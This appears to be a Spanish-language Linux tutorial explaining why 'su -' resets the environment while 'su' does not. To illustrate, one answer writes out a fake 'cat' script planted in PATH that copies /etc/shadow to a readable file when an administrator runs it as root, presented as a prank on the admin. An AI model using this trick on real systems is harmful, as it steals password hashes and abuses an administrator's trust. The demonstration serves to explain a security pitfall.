GNU/Linux >> Tutoriales Linux >  >> Linux

¿Por qué usamos su - y no solo su?

su - invoca un shell de inicio de sesión después de cambiar de usuario. Un shell de inicio de sesión restablece la mayoría de las variables de entorno, proporcionando una base limpia.

su simplemente cambia de usuario, proporcionando un shell normal con un entorno casi igual al del usuario anterior.

Imagínese, usted es un desarrollador de software con acceso de usuario normal a una máquina y su administrador ignorante simplemente no le dará acceso de root. Vamos a (con suerte) engañarlo.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Ahora, pregúntele a su administrador por qué no puede cat el archivo ficticio en su carpeta de inicio, ¡simplemente no funcionará!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Si su administrador no es tan inteligente o simplemente un poco perezoso, podría venir a su escritorio y probar con sus poderes de superusuario:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

¡Guau! ¡Gracias, superadministrador!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Él, él.

Tal vez hayas notado que el $PATH dañado la variable no se restableció. Esto no habría sucedido si el administrador invocara su - en su lugar.


su - te registra completamente como root, mientras que su hace que pretendas ser root.

El ejemplo más obvio de esto es que ~ es el directorio de inicio de la raíz si usa su - , pero su propio directorio de inicio si usa su .

Dependiendo de su sistema, también puede significar diferencias en el aviso, PATH , o archivo de historial.

Entonces, si usted es parte de un equipo que administra un sistema y su colega le da un comando para ejecutarlo, sabrá que funcionará de la misma manera si ambos usan su - , pero si ambos usan su , puede haber diferencias debido a que tiene diferentes configuraciones de shell.

Por otro lado, si desea ejecutar un comando como root pero usando su propia configuración, entonces tal vez su es mejor para ti.

Tampoco te olvides de sudo , que tiene un -s opción para iniciar un shell ejecutándose como root. Por supuesto, esto también tiene reglas diferentes, y cambian según la distribución que esté utilizando.


La principal diferencia es:

su - username configura el entorno de shell como si fuera un inicio de sesión limpio como el usuario especificado, accede y utiliza las variables de entorno de los usuarios especificados,

su username simplemente inicia un shell con la configuración actual del entorno para el usuario especificado.

Si el nombre de usuario no se especifica con su y su - , la cuenta raíz está implícita de forma predeterminada.


Linux
  1. Redis como caché:cómo funciona y por qué usarlo

  2. ¿Por qué no usar "cuál"? ¿Qué usar entonces?

  3. ¿Por qué Cd no es un programa?

  4. ¿Por qué se debe evitar eval en Bash y qué debo usar en su lugar?

  5. ¿Por qué no bloquear ICMP?

Por qué uso rxvt como mi terminal

7 razones por las que uso Manjaro Linux y tú también deberías hacerlo

¿Qué es una máquina virtual y por qué usarla?

¿Qué son los contenedores multicuenta de Firefox? ¿Por qué y cómo usarlo?

Cómo y por qué usar Linux para instalar Telnet

¿Por qué mi crontab no funciona y cómo puedo solucionarlo?